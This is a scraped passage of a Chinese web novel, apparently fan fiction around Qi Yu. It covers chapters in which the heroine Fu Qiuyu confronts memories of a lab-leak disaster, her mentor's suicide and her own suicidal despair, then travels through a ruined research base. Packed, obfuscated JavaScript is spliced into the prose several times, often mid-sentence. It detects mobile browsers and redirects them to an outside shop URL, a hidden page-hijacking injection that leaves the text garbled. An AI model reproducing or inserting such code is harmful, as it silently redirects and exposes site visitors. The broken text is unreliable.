无论多少次，他都习惯不了心上人把他遗忘了的场面。 傅秋语想了想：“好像……有点印象？”她拖着下巴，冥思苦想：“嗯……我应该对这个人很熟悉来着，但是……” 小红已经听到了某人心碎的声音，连忙转移话题问：“那你还记得小花生吗？” 傅秋语立刻咬牙切齿地说：“我要掐死它们！……啊……”她愣了一下，挠头，“好像已经被我掐死了？” 祁煜：…… 所以为什么记仇就记得这么清楚啊！！ 小红松了口气：“还好，还能想起来仇人，还有救。” “那你还记得彼岸吗？他们会在三天后抵达这座海岛，把你带走。快想起来，自己到底为什么会在这里！” “昨天的这个时候，你答应了救援队，和他们商量救援方案。方案你已经完成了，现在我们要去和他们接头……” 随着它的叙述，傅秋语紧缩的眉头逐渐舒展开。 傅秋语：“有点想起来了，昨晚我一夜没睡就是在研究VE物质。” 她打开房门走到阳台，外面依旧是记忆中的村子，并没有回到海岛。 “这要怎么回去啊？”她很愁。 小红：“不需要回去，因为幻境就是现实，我们和救援队并没有在两个空间里。看不见真正的现实也没关系，就这样前进，我来引路。” 在傅秋语惊愕的目光中，它飞到堆在门边的救援箱装置上，“今天风向正确，我们带着这个箱子回东海岸，里面装着神经纤维结晶粉末。” 傅秋语理解了：“我们手里没有材料，没有办法将结晶粉末粘合在一起，这是必须交给他们完成的事。” 小红：“没错。” 傅秋语回屋拿起自己的作业本就走，出门前她啊了一声，“糟糕，代码原本还在山洞里！但是我现在不知道应该怎么找它！” 小红：“我顺手拿了，就在箱子里。” 傅秋语虎rua它的鸟头：“真靠谱！” 小红：“哎嘿嘿嘿，那是当然的~~” * 爷爷奶奶还没睡下，楼下的电视机的响声传到楼上。傅秋语在楼上观察自己的出门路线，觉得不惊动他们的可能性为0%。 她走到二楼晒衣服的露台上往下看，只要从这里跳下去就能直接出门。 她问小红：“既然你能扛着这些东西来这里找我，那能不能把我们都从这儿扛下去呢？” 小红：“当然，我带一个祁煜都可以，你现在这么小，连你带救援箱也只有零点五个祁煜那么重。” 傅秋语：“这人好惨，居然沦为了我们的重量计算单位。所以他到底是谁？我们很熟吗？” 小红知道祁煜就在这里，它硬着头皮试图助攻：“他是你心上人啊，你连他都不记得了？” 傅秋语看着小红，沉默了三秒，笑出声来：“我还能有心上人？不可能！” 她核善地微笑：“咱已经决定断情绝爱了哈，这种话不要乱说。” 祁煜：…… 心好痛，不想说话。 小红也不想说话。对，你的心死了，但你的手没死，你还会摸人家的手蹭，可怕得很！这对于一个恋爱脑来说杀伤力有多大，你知道吗！ 它用火焰裹着傅秋语和装置从二楼下来。傅秋语一落地，就利索地扛起装置，跟着小红跑。 “傅秋语，你死哪儿去？！”身后传来老人的怒骂。 傅秋语惊讶地回头，就看到奶奶不知道什么时候出来了。 她发现傅秋语扛着一堆东西出门，拿着扫院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一个电视屏幕忽然从雪花屏跳转成画面，一个英俊的男人出现在显示屏上，他对傅秋语说：“你能体谅爸爸，爸爸很高兴。你的选择很正确，因为即使去学了画画，以后就业也成问题，不如学理科，以后出来靠技术吃饭，这才是一辈子抢不走的饭碗。” 祁煜发现，傅秋语很会长，不但挑的净是父母的优点，还在此基础上发展出自己独有的气质。 傅秋语的眼睛像妈妈，而其余五官轮廓，则和她的父亲像一个模子里刻出来的，但是柔和版。 而相较父母，她身上又多出一份高智阴郁感。看着像是书读多了，思考人生思考太多了，所以人也厌世起来了的样子。 傅秋语听了他们的话，没有什么反应。 她站起来，一瘸一拐地找出口。 另一个显示屏跳出了傅秋语母亲的脸，她欣慰地看着女儿：“你一定要强大，要强大到足以靠自己的力量在这个世界上生存。爱这种东西，从来都是虚无缥缈的。爱一个人，他就会背叛你，爱一件事，你就会厌倦它。倒不如放弃这些，做些更实际的事。” 傅秋语的脸沉在阴影中。 半响，她冰冷地回道：“你们搞错了一件事。我放弃学画，不是因为我不爱了，而仅仅是因为这个家无法负担。” “这本来不是什么需要拿出来说的东西，但你们不要一遍又一遍地在我耳边称赞这件事，这不值得我骄傲。” 她这话一说完，刚刚还慈眉善目的父母瞬间翻脸。 “我就知道，你还是不肯听我们说！一天到晚看那些没用的书，画没用的画，写没用的小说，那些能带给你什么！钻研学术才是你唯一要做的事，是你唯一的正事！” 剧烈的痛苦，再次缠绕上傅秋语的大脑。 46.046 傅秋语按着太阳穴，痛苦地说：“我不喜欢……我不喜欢这些。我不喜欢记不完的数据，报不完的错，永远被卡资金的方案，一群人没有理想信念的人互相抱团，勾心斗角，最后端出一坨狗屎说这是他妈的前沿科技，只是技术还不成熟……我讨厌这些！我做不好研究，我根本没有办法从心底热爱它！” 祁煜：…… 光是听她这么说，再想到在浅层记忆区她在电话里骂同事，半夜还被叫到实验室里处理问题，就已经完全能想象她的团队平时工作都是什么样子。 一细想，就感觉要犯狂躁症。 “对，你喜欢自由，你喜欢艺术，但是这些能带给你什么？这个世界就是巨大的角斗场，一切都要为了生存让步！” “你不爱学术，但这恰恰就是让你在这个无情的世界里生存的最锋利的武器，这就是命运。你要拿起你的武器，去斗垮你的敌人！” 傅秋语痛苦地问：“你们有没有想过，我只是一个普通人。我不想整天斗来斗去，我只想平稳地做好自己的工作，下班后做点自己喜欢的事……” 父亲怒骂道：“我们傅家怎么会生出你这种没出息的女儿？果然还是小说写多了，整天脑子里都是什么自由啊理想啊信念啊这种软弱的东西。你不斗他们，他们来斗你！……傅秋语，我最后一次警告你，按我说的做！” 祁煜：嗯？ 直觉告诉他，接下来他们要说的，这很有可能是导致她最终崩溃不想活的原因。 傅秋语：“我不能！！” 她要疯了。 她在深层记忆区里的状态本来就不稳定，被这么一刺激，她的情绪急速滑向崩溃的边缘。 无数鱼鳞状的烫伤再度出现，她好疼，每一寸肌肤都好像被刀割被火烧那样疼。 电视机里，她的母亲冷漠地说—— “出了事故，总要有人负责。只要把他推出去，你就能全身而退……按我们说的做！！” 傅秋语的头要裂开了，她近乎嘶喊地说道：“这是我们所有人共同酿成的苦果，包括你们也有份！我们怎么可以……怎么能够把错都推到他一个人的头上？！不能那么做！！” 她痛苦地抓着头发，“我刚工作时什么都不懂，是他一直带着我，教导我，什么事都替我顶着。他是我的上级，但也是我的导师，我怎么可以落井下石！” “你不做，有的是人做。只要你出席指证，这件事就和你没关系！傅秋语，你被感情迷惑了头脑。我一直教导你，情感是这个世界上最没用的东西，你只要用理智去思考，就知道自己应该怎么做。明哲保身，才是一个聪明人该做的事。” “啊……哈哈哈哈哈！”痛到了极点，傅秋语却忽然笑了。 暴烈的情绪在胸膛中沸腾，让她的心脏也开始抽疼。 她好疼，身体没有一处地方不在疼。 头好疼，心好疼，身体好疼……在这个世界上活着，每时每刻都是这么疼。 受她的情绪影响，整个洞里的电视机开始疯狂地跳闪画面。 画面实在跳闪太快了，祁煜看不清上面到底是什么，只能听到猛烈的爆炸声、尖锐的救护车的鸣笛声，还有无数崩溃嘶喊和愤怒争吵的声音。 傅秋语放下了撕扯头发的手，摇摇晃晃地站起来。 电视屏幕中，父母那张冷漠到刻薄的脸映在她眼底，她无比失望、厌恶地说：“如果那么做了，我不止是不能做聪明人，我连个人也不能做了。” “爸，妈……你们曾经被人迫害，现在却让我用相似的手段去迫害别人……这是你们的报复吗？你们对这个无情的世界的报复？那你们报复错对象了……” 傅秋语的思绪已经完全混乱了，好像已经分不清时空。 剧烈的痛苦中，她感觉自己回到了某个时间点。 她感觉自己似乎是应该哭的，可是她的眼泪已经在那个时间段里哭尽了。 傅秋语恍惚地说：“老师……老师，对不起，是我没有看管好实验室……归根结底，导致实验室泄漏的罪人是我。你是真正有理想的人……不应该在这里倒下。还有办法……一定还有办法……我去请律师。这从来不是你一个人的责任……” 傅秋语的父母冰冷地笑道：“以卵击石，不自量力。” 傅秋语的记忆又错乱了，她忽然惊恐看着四周：“这是哪里？！” 太阳穴突突地跳，她按着太阳穴，说道：“……我得找老师商量接下来的事，希望他还撑得住这个打击。” 说着，她往前迈了一步，那条受了伤的腿却忽然一软，她摔到在满是纸片碎屑的地上。 电视机的画面突然在此刻停止跳闪。 一段新闻占据了中央最大的那块屏幕，蓝色的边框下方标着显目的打字，中央的画面上的人脸被打上了马赛克。 新闻的画面和声音断断续续，但足够让人听清到底发生了什么：“1月21日……陈革教授被发现在家中自杀身亡，终年52岁……现场留下遗书，遗书中他承认……一切对他的指控，均为事实……在任职期间，他与第三方神秘机构存在大量交易……最终导致实验室泄漏……” “……”傅秋语的眼泪最终还是落了下来。 她的脸埋在纸屑里，大颗大颗的泪水涌出。她的喉咙里发出脆弱的嘶鸣，如同幼兽绝望的悲泣。 “哈！……一切指控，均为属实……哈……哈哈哈哈！！”悲痛到了极致，傅秋语竟然哭着笑了出来。 她翻了个身，仰面躺在地上。 “蝇贪蚁腐，沆瀣一气，上行下效，鼠雀横行……恶心……恶心！！老师……你的理想，我从不认同。可是……你不应该是这种结局……” 新闻停止播放。 傅秋语父母的脸再次出现，他们俯视地上那个颓靡的失败者——他们的女儿——露出胜利的微笑。 “傅秋语，我早就说过了。无论你愿不愿意，总会有人去做。事实证明，我们是对的。你总不能指望上头站出来搞定这件事。东窗事发，泄漏出来的放射性物质污染了那么大片土地，死伤那么多人，总得有人担责任。” “说起来，你跟了陈革那么久，也算是他的关门弟子了，他手中的一些核心资料，你应该多多少少知道……” 傅秋语：“……所以呢？你们想表达什么？” “路，我们已经铺好了。只要你肯回去，陈革的位置，就是你的。” 傅秋语：“……………………” 她气得心脏疼，剧烈的怒火冲上头顶，让她的头在疼痛的之余又觉得眩晕。 她气笑了。 傅秋语说：“你们，真的很不了解我。” “又要来理想信念那套了是吗？已经跟你说过很多遍了，这玩意不能当饭吃。人活在这个世界上，就要无情、狠辣！权利，财富，才是我们立足于这个世界的资本和武器。” “你现在不忍心，只是因为你还太幼稚了，认为正义的才是正确的，你错了，权利才是正确的！有了权你才能立足，你才能活得像个人，你才能得到一切！” 傅秋语撑着身体，再次从地上爬起来。 她把散落的头发捋到脑后，仰头深深地吸了一口气，再从肺腑里深深地叹出。 然后，她竟然笑了。 傅秋语说：“……这个世界，真的好烂。所有人，包括你们，包括我，都是那么的怯弱、虚伪、自私、愚蠢。” “杀人放火金腰带，修桥铺路无尸骸……哈！我承认，我的身体里的确留着傅家的血，我从来没有一刻认同过老师的理念。从我见他第一面起，我就觉得他很傻。” 她近乎冷酷地叙述，但祁煜能感受到，她很痛苦，她的痛苦一分一毫都没有减少，甚至，越发痛苦，已经到了爆发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14492389|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的边缘。 傅秋语：“都这把年纪了，竟然觉得自己可以改变那个被蛀虫蛀烂了的机构，居然觉得自己的研究可以改变这个时代，造福民众。但我从接触到这个项目的第一天起，就知道这事办不成。” “……可是，这个世界需要理想主义者。即使这些人总是被人轻视、嘲笑，但正是因为有他们的存在，世界才会美好……所以我还是加入了老师的团队，我希望他的理想可以实现，即使这很难。” “只要放弃良知，就可以过得很爽。只要放弃理想，人就能活得很轻松。就像你们，永远无情无义，可以牺牲包括我在内的所有人而不会有任何负罪感。” “哈哈哈哈哈……”傅秋语疯癫地笑起来：“傅家的血脉，果真有无情无义的天赋。果然人只要放弃某些东西，就真的会很爽啊！！！” 电视里的父母的表情变得僵硬，在画面剧烈地跳闪了几下后，他们纷纷变得愤怒惊俱。 他们怒道：“傅秋语，你怎么能向媒体曝光这件事？你知不知道这样做，我们所有人……” 傅秋语瞪大了眼睛：“这关我什么事？我只要爽就够了，至于其他的事，你们自己难道不会考量吗？” 电视里的画面乱做一团，很多人快速地出现又消失。争吵，推搡，砸东西，集会抗议…… 她指着这些人大笑：“所以接下来被推出去顶锅的到底是谁呢？好期待哦！哈哈哈哈哈哈哈哈哈！！” “反正啊……我的人生就是一坨狗屎，老子他妈的不过了！给我等着，你们所有人都必须付出代价……都别想好过！你们都得死！！” 电视里，她曾经的同事和她的父母一起指责她、咒骂她。 傅秋语笑着说：“啊对对对，我就是初生，这不是向你们看齐吗？” 过了一会儿，她又觉得他们太吵了，而且骂得很无聊，骂来骂去都骂不出花来。 这时，她忽然看到角落里有个工具箱，里面有个扳手。 傅秋语过去拿起扳手，垫了垫重量，手感不错。 随后，她举起扳手。 哗啦——！！ 脆弱的电视屏幕在扳手下顷刻碎裂。 傅秋语大笑着砸碎了所有电视机屏幕，碎到它们连雪花屏都闪不出来，她才停手。 没有了电视机的影响，傅秋语这才终于想起来自己到底为什么在这里。 傅秋语的笑容渐渐消失。 踏马的见鬼了，居然和电视机说那么多，还又哭又笑的，谁看了不说一句神经病啊。 默了一会儿，她扛起救援箱，对小红说：“我们走吧，带路。” 小红：“啊……哦！” 它回过神，不敢多说，摸索了一阵后，带着她走进了一个很隐蔽的洞里。 这洞很长，傅秋语一路都没说话，气氛很压抑。 小红偷看了她十几次，最终还是忍不住问：“你离开那里也有半年了……”期间要么在找报复对象，要么就一蹶不振颓废度日。 “你有没有想过，以后要做什么？” 傅秋语：“……不知道。” 小红：“你都穿越了，想报复也找不着对象了，不如……我们就在这个世界里好好生活？做一个普通人，平平淡淡生活，就像你一直期望的那样。” 她没有回答。 在经历了这一切后，还能好好生活吗？ 傅秋语剧痛的大脑，短暂地思考了一下这个问题。 她是个什么事都做不好的废物。画也画不好，小说也写不好，工作也做不好，最后连个实验室都看不好…… 她这种失败者、罪人、懦夫……还能重新开始生活吗？ 然后，她停止了思考。 激烈的爆发后，她好像被抽空了所有的力气和情感。 唯有那晦暗无光的双眼，散发着寂静、压抑、孤独的疯狂…… 47.047 穿过漆黑亘长的甬道，一人一鸟走出了地洞。 夜黑漆漆的，厚重的迷雾笼罩在大地上。 傅秋语感觉自己在树林里鬼打墙一样转了一圈又一圈。树林沉浸在浓雾中，失去了月光照耀，变得很难辨认方位。 转了好久，她们才从树林里出来，来到一条废弃马路上。 这里的路面被破坏得很严重，地面上遍布裂纹，个别地方的柏油被高温融化后又凝固成一坨。 傅秋语看小红身上的光仅能照亮方圆四五米的范围，不由担忧起自己能不能看到救援队的信号。 小红看了看四周，说：“顺着这条路一直走，我们就能到东海岸了。” 傅秋语习惯性地观察四周情况，不慎踢到一块铁板。 她低头一看，发现是一块断掉的路标。原本白蓝的路牌已经锈迹斑斑，上面被烟尘熏得发黑。 傅秋语用脚拨开掩在上面的落叶，看上面的文字。 随后，她僵住了。 她抬头再度仔细辨认地形。 虽然已经和记忆里完全不一样，但现在她认出来了——顺着这条路往前，是她曾经工作了六年的基地！ 原本，傅秋语对基地的周边环境了如指掌。 但她没有第一时间辨认出来，是因为半年前的灾害中，这边的树林已经被烧掉了，现在熟悉的树林已经被新长出来的灌木替代。 空气中的放射性元素，也让她本该熟悉的物种发生了异变，如果不是看到了路标上写着“前方2km 新阳实验基地”，她都没有认出来。 傅秋语看向浓雾深处，她的手轻微颤抖，脚步不由自主地向后挪。 她畏惧那个地方。 不仅仅是因为放射性物质泄漏，前面整片区域都已经沦为了生命禁区，也是因为……即使这个基地本身就存在各种问题，但最后导致灾害发生的，还是因为她的失误。 如果没有那次失误，这里就不会变成这个样子，那些无辜的人不会受难，老师不会被逼自杀，她就不用和那些沟鼠撕破脸，闹成最后那个样子。 她害怕面对这里。 每晚午夜梦回，她都会看到冲天的火光、刺鼻的烟尘……耳边萦绕着永不停止的警笛声。 为什么偏偏是这里？ 小红担忧地看着她：“秋语……如果你实在不想去，可以把想说的话都写下来，我去联络他们。” 傅秋语摇头。 她按着太阳穴，深吸了几口气后，她抬头，目光中的退缩与畏惧已经尽数褪去。 她对小红说：“继续前进。” 既然她这么发话了，小红虽然仍然担忧，但也不会劝她。毕竟就算是可以代为传话，它终究无法取代傅秋语。 她，还有祁煜，都要完好无损地逃出去，现在不是可以放任情绪的时候。 忽然，傅秋语余光处掠过一道红影。 登时，背后汗毛倒立。 傅秋语：“谁在那儿！” 小红完全没察觉到有人，骇然回头。 下一秒，傅秋语追着那个人影跑进了浓雾里，大喊道：“前面那个人，回来！再往前是污染区，不能进去！” 小红很崩溃，“啊啊啊啊你等等啊！！！” 在这个地方，它唯一不能感知到存在的只有傅秋语。所以那个人影，八成是傅秋语的某个记忆碎片。 傅秋语追着那个人影追了好一段距离，那个人才终于停下来。 小红连忙叼着她的衣服往回拉：“拜托！有没有看过恐怖片啊！这种黑漆麻乌的雾天里谁会跑到荒郊野岭啊！肯定有问题，我们快跑啦！！” 傅秋语死死盯着那个红色的人影，不肯挪动半分。 那个身影……好熟悉。 漆黑微卷的长发，凌乱地散落在肩头。那鲜红、残破的嫁衣，在风中鼓动，在雾中若隐若现…… 那低沉的声音也是那么熟悉—— “傅秋语，你怎么还没有死？” 傅秋语瞳孔紧缩。 曾经被这货捅过一刀的祁煜：不是……人至少，不应该，狠起来连自己都杀吧？！ 啊啊啊别愣着了快跑啊！！ 还没有等傅秋语做出反应，紧接着她就听到什么重型金属在地上摩擦的声音。 一种既视感浮上心头，傅秋语猛地回头，还没有看清人，她首先看到了铁器划过地面带起的一串火星子。 她僵硬地往上看，一个高大壮硕的人影，缓缓从雾中走出来。 他拖着一把厚重的比她人都高的大刀，光着膀子，身上血迹斑斑的罩衣在微弱的火光下，反着油脂的光泽。头上那个布满锈迹、厚重的铁三角头，更是辨识度拉满。 傅秋语：“卧槽了！寂静岭！！！” 她回头再看，那个红影已经不见了。浓雾中传来她渐渐远去、似哭似笑的声音…… 傅秋语有心想追，奈何这个三角头踏马的已经提着大刀砍过来了！ 小红：“啊啊啊啊啊啊祁煜救命啊！你小子就知道偷懒现在要出人命了好好的双人副本结果成单刷了要是我们死了我做鬼也不放过你！” 祁煜急得要死，谁偷懒了是他想偷这个懒的吗？！ 他倒是想过来，但问题是现在他也没办法啊！ 总不能让秋语倒头就睡，要是这么操作，等他过来的时候傅秋语都凉透了！ 傅秋语身体变小了，体力耐力都有限，眼看她和三角头距离是越缩越短。 忽然，她看到前面路边停了辆车。她认得出来，那是基地内部的专用车，她以前经常开。 傅秋语当即下令：“小红，尽最大的能力拖住他，我需要一分钟的时间！” 小红当即调转方向冲向三角头，它卷起一道火墙，挡住了三角头。 傅秋语不敢回头，加速冲向基地车。 拉门把手，果然锁着，拉不开。她四处找工具，随后在地上找到一个锤子。 她砸开车窗玻璃，拉开车内保险，开门，扫掉座椅上的玻璃碎屑，然后把所有坐垫都垫在驾驶室座椅上。 做完这一切，四十秒已经过去了。小红身上的火已经不旺了。它的力量不完整，没有办法长时间消耗。 傅秋语坐到驾驶位上，她人小了很多，伸手够不着方向盘，伸腿够不着刹车油门。 她调整位置，但因为车子是设计给成年人开的，她调到最前面也只能用脚尖够到油门。 但是这样足够了。 傅秋语对窗外大喊：“够了，回来！” 随后她踩下油门，车子飞速窜出去。三角头跑得过小孩子，但跑不过车子，没一会儿的功夫就被甩开了。 小红飞到车子里，傅秋语没精力分心看它，这个路稀烂，她要专心避坑，便问道：“东西都带着吗？” 刚刚跑太快，都忘记带救援箱了。 小红身上的火弱了不止一半，它疲惫地点头，松开鸟嘴，东西叮铃哐啷地落到副驾驶座。 然后它飞到傅秋语肩膀上，团成一个小红团子，靠在她的颈侧休息。 傅秋语看了眼后视镜，还好，没有追上来。 这大雾天，路况又差，她实在是开不快。 越是接近基地，路况越差，不止是道路开裂的问题，有的地方甚至路面整个都翻了过来。 还剩二百米的时候，路况差到实在没法开车了，傅秋语从后座翻出防护服，用夹子夹起过长的衣服，穿戴好才下车。 实验室泄漏后，这里长时间没有人来，一路过去，大片的荒草长在曾经车辆来往的道路上，看上去一片生机。 然而只要仔细观察，就能发现这些植物已经发生了不同程度的基因变异。 这里仍然存在着大量放射性物质和剧毒物质，傅秋语不清楚在幻境中是否会还原现实中被辐射的后果，但她不想尝试。 她时刻惦记后面的三角头，故而把小红收在口袋里，不让它的光暴露她们的位置。 她离开马路，沿着路在旁边的林子里走，只要一有不对劲就往林子里跑。 赶路的时间很枯燥，傅秋语虽说不想遇怪，但她一路上都在找那个红衣，但她直到翻过封锁基地的护栏，都没再遇到红衣。 小红从口袋里探出个头，问：“你好像有点失望，就这么想遇到她？” 傅秋语把它的头塞回袋子里，“也不算吧，只是有点好奇……任谁看到另一个自己，都会很好奇吧？” 小红震惊：“……你居然认出来了？” 傅秋语：“我曾经做过一个梦……梦里，我就穿着那件嫁衣。不过那是个噩梦，最后的结局是我发狂了，把所有人给刀了……也是很符合我的性格吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497866|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小红：“……你应该离她远一点。” 傅秋语：“为什么？” 小红：“她会无差别攻击所有人，包括你。” 傅秋语：“哦，我不是很在乎。我只是很好奇，这个幻境里，为什么还会出现梦境中的人，甚至还有三角头。” 小红：“这里什么都有，什么都能成真。” 傅秋语若有所思：“……你似乎知道一些事情。” 小红：“是的，我知道很多。但我不能告诉你，如果你不能自己发现真相，你就无法得到力量。” 傅秋语：“这种力量和V.E物质有关？……那我就更要找她了。” 小红戳穿她：“你找她根本不是想寻找真相，而是想让她带走你的生命。” 傅秋语仰头看着上空。透过防护罩，她看到曾经熟悉、忙碌的基地，如今夷为平地……楼层被炸毁，残垣断壁上满是焦黑的痕迹。 傅秋语承认：“没错。” 小红：“不要去。” 她的视线往下移，落到占据了整个断墙的爬山虎上。 这种被人类视为生命禁区的地方，却被大自然温柔地包容。没有人每日清理，植被已经重新占领了这里，一如过去的千千万万年。 傅秋语叹息：“人在这天地之间，如蜉蝣，如微尘，死就死了，没什么大不了的。况且，别说只是消失一个我……就算是整个人类文明都消失，对于这个地球而言，又算得了什么呢？” 一听就知道虚无主义又作祟了。 小红：“但只有人类才能懂地球的美，只有人才能创造文明。” 傅秋语：“人的文明，不过是地球母亲翠冠上的一颗明珠，就算把这个明珠摔下来踩碎了，最多也就是折损翠冠的美丽。” 小红：“……你的存在，或许对于地球，对于文明来说的确不算什么……但对于爱你的人，你就是一切。” 傅秋语：“昭昭吗……？她没有我，也能活得很好……”说完她沉默了一下，补充道：“大概。” 小红：“还有祁煜。” 傅秋语：“都说了，我不记得这个人。他最好别爱我，否则他会很惨。” 小红：“既然你这么不想活，那为什么还一直这么努力地寻找出去的办法？” 傅秋语脱口而出：“当然是因为祁煜还在……”她愣住了。 小红替她说完：“因为祁煜还在这里。” 它又从口袋里探出头，目光似乎看穿一切：“你的脑子忘了，但是心还没忘。” 爱的知觉已经消失了，但爱的本能还在。 祁煜：…… 傅秋语怀疑人生。 这个人……她确实不记得，但为什么，她下意识地想保护他？ ……难道是因为责任感？ 她脑子很乱，习惯性地想拍拍头，但手伸出来只拍到了面罩，她愣了愣，只好放下手。 她问：“他到底是谁？我的生活中，应该没有这个人。” 小红：“这是一段奇遇，你们原本不会相遇。” 傅秋语：“你特么念诗呢？” 小红委屈道：“但这就是事实嘛！” 傅秋语拍拍它的鸟头：“一看就是没经过社会的毒打，才会满嘴都是爱来爱去的。” “爱这种东西，脆弱得像是一个古老的谎言……一句话，一件事，一时的拮据，都会导致爱的破碎。” 她温柔而麻木地说：“我不爱任何人，也不需要任何人的爱……即使他真的爱我，这种脆弱的东西，也只会让人痛苦。” 小红：…… 它特么的没法和她辩下去了！ 祁煜，从现在开始想辩词！ 它敢打包票，如果他俩逃出海岛之后仍有纠缠，那么百分之百会爆发关于这个话题的争执。 某种程度上，傅秋语和祁煜是一类人，他们绝对能吵得旗鼓相当。 但两个同样固执又嘴利的人，到底是碰撞出思想的火花，还是碰撞出思想的火灾，它就不得而知了…… 但是——！！ 红红我啊，只是想给秋语找一个活下去的锚点，至于这个人是不是你，其实无所谓。 但既然我都替你把招套出来了，你要是再辩不赢，就别怪红红我去助攻其他人了嗷！毕竟深空是特么的乙女游戏，男主有五个呢！！ 48.048 遗憾。 接下来一路上都没遇到红嫁衣限定版的自己。 遗憾。 居然顺利来到了所谓的东海岸。 遗憾。 暂时没有死。 傅秋语的遗憾实在太明显了，小红被她气死，又不敢发作，只好在旁边生闷气，像个冷脸洗内裤的小媳妇。 傅秋语沿着所谓的东海岸走，这个海岸在现在的她眼里，就是个纯粹的大坑。 物理意义上的大坑。 这个坑是当初实验室爆炸时炸出来的，四周全是被冲击波震碎的建筑，傅秋语站在坑的边缘往下看。 黑漆漆、雾蒙蒙的一片。 没有大海，什么都没有。 傅秋语陷入沉思。 老实说，她从今早开始，脑子里就一直乱糟糟的。 她现在很怀疑，自己是不是疯了。 虽然她从很小的时候就总是头疼，经常和昭昭开玩笑说自己以后八成脑子会出问题，但她只是说说而已，并不想真的实现啊！！ 现在的场景，真的很像女疯子得了精神疾病看到幻觉，大半夜不睡觉跟着幻觉跑出去，对着电视机又哭又笑，还跑到废墟里对着一个坑等信号。 这病得可不是一般的重，起码是李火旺隔壁病房的！ ……等等打住，不能联想道诡！ 这幻境好像能让幻想变成真的，她在树林里转的时候，只是脑子里想了下这环境挺寂静岭的，结果就特么真的冒出个三角头来…… 那道诡的怪可不兴来啊！别说是精英怪，就算来个小兵篓子，她都得吓得当场昏死过去！ 傅秋语盯着大坑盯了五分钟，坑底依旧是黑漆漆的一片，没有任何异常。 她实在不想下去查看。 坑底的高浓度放射性物质和剧毒物质都踏马的凝结成块了，只要戳破了防护服，她能立马原地升天。 她虽然想死，但她想死得更有仪式感，而不是死得像个笑话。 傅秋语摆烂了，她找了块地坐下，继续盯着坑底又盯了几分钟。 坑底依旧没有异常。 她冷不丁地问：“其实我的本体在精神病院吧？” 祁煜：？ 小红：？ 傅秋语：“如果这一切不是幻觉……我很难理解我半夜不睡觉，跑到这里陪你发癫的理由。” 小红：“不是……你又忘了？我们被困在海岛，但是现在现实世界被幻境遮蔽……” 傅秋语：“我知道，我没忘。” 她托腮沉思：“我只是一直搞不懂，人怎么会无缘无故穿越呢？而且还能被人堵门暗算……或许有没有一种可能，我的认知已经错乱了，这一切经历都只是一个精神病人的臆想，其实我一觉醒来就会躺在精神病院的病床上？” 小红面无表情：“……评价为小说写多了。” 祁煜：…… 必须得承认，在想象力层面，他遇上了难得的对手。 坑底还是没有任何动静，傅秋语搞不清到底是真的没动静，还是因为雾太大了看不见动静。 她百无聊赖地抬头看天。 雾好大，什么都看不见……等等，好像有什么东西亮了一下！ 速度很快，一下就过去了，快得几乎像是一个错觉。 傅秋语使劲眨了下眼睛，再看天空，仍旧雾蒙蒙的一片，什么异样都没有。 她向小红确认：“刚刚你看到了吗？天空上有什么东西闪了一下？” 小红眼神躲闪：“……啊？没有吧。” 傅秋语一直看着天，没注意到它的异样。她想揉眼睛，看看是不是自己眼睛花了，但是再一次碰到了面罩。 她嘟囔道：“怪了……” 傅秋语放弃了，她往后一靠，靠着一块石板，“事已至此，先睡觉吧。” 小红：？ 祁煜：？ 不是？这是能睡觉的地方吗？？ 小红实在绷不住了，它飞到她身上扑腾：“这里真的是东海岸啊啊啊！！你给我打起精神不要放弃！信号很快就有了！” 傅秋语将小红拢到掌心里，用手指揉揉它的脑袋：“相信你？但我现在连自己都很怀疑……” 她卡了一下，就当祁煜以为她要说什么破碎感拉满的语录，她突然一拍大腿，恍然大悟：“这就是精神病人的视角吗？我明白了！素材，超绝第一人称素材！” 这也就是祁煜现在是附身状态，否则他一定会来个超绝昏倒。 玛雅达解！就算你现在转职当作家了，也不用在这种时候还想着收集素材吧！敬业到这种程度，你以后小说一定会大卖的！ 嗯…… 祁煜看着画风潦草的基地废墟。 还真别说……他经常满世界的采风，走过的地方也不少了，但深入这种污染禁区还是第一次。 仔细一看，这地方其实很有那种颓废的感觉。虽然建筑都大面积损毁了，但是某些结构还□□地屹立着，如果能在日出时到这里，应该能看到不错的景色。 新阳实验基地…… 没有印象。 真奇怪，看基地的规模和爆炸事故导致的后果，他应该有所耳闻的……等出去后，好好查查吧。 傅秋语说睡就睡，原地开躺，小红扑腾着闹她，她就笑着逗它。祁煜看她也不怎么想睡，就是故意使坏逗小红着急。 一人一鸟正打闹着，黑暗处忽然亮起了一盏绿色的灯。 傅秋语立刻收敛了笑容，一骨碌爬起来，凝神看向坑底。 明明整个基地的电力都已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 